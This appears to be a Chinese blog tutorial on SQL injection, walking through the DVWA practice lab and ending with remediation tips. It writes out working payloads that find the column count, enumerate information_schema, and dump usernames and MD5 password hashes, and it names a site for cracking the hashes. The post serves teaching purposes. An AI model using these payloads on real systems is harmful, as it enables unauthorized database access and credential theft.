SQL注入漏洞解析

2019-04-23  本文已影响0人  么么1994

注*本篇内容大部分参考SQL注入基本原理的学习
SQL注入原理:
攻击者通过把SQL命令插入到Web表单提交或者输入域名或者页面查询,最终达到欺骗服务器执行恶意的SQL命令。

SQL注入实例:猜解数据库

1.输入2之后点击submit,然后点击右下角View Source查看源代码 SQL注入漏洞解析

实际执行的SQL就是下面这行

select first_name,last_name from users where user_id=‘1’;

2.输入1’ order by 1#,实际执行的是下面的内容,意思是查询user_id=1的数据,根据第一列数据排序

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;

(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

3.输入1' order by 1#和1' order by 2#时都可以正常返回,输入1' order by 3#时会报错,说明该表只有2列数据

SQL注入漏洞解析 SQL注入漏洞解析 SQL注入漏洞解析
4.使用union select联合查询数据库,需要注意在使用union查询的时候需要和主查询的列数相同,而我们已经知道之前主查询列数为2,所以查询列数需要2列,现在输入1’ union select database(),user()#进行查询

5.接下来再尝试获取数据库dvwa中的表名:
information_schema是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
我们输入

1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#
SQL注入漏洞解析

通过查询结果可知:

6.接下来我们再继续尝试获取表中的字段,输入

1’ union select 5,column_name from information_schema.columns where table_name=‘users’#
SQL注入漏洞解析

通过查询结果可知:

7.我们查询users表里的的用户名和密码数据,输入

1’ union select user,password from users#
SQL注入漏洞解析

根据查询结果,我们可以看到所有的用户名和密码,密码是采用md5解密的,可以到www.cmd5.com进行解密。

SQL注入漏洞解析

修复建议:
1.严格限制参数类型
2.过滤/转义敏感字符和关键字
3.使用参数化查询/预编译

上一篇 下一篇

猜你喜欢

热点阅读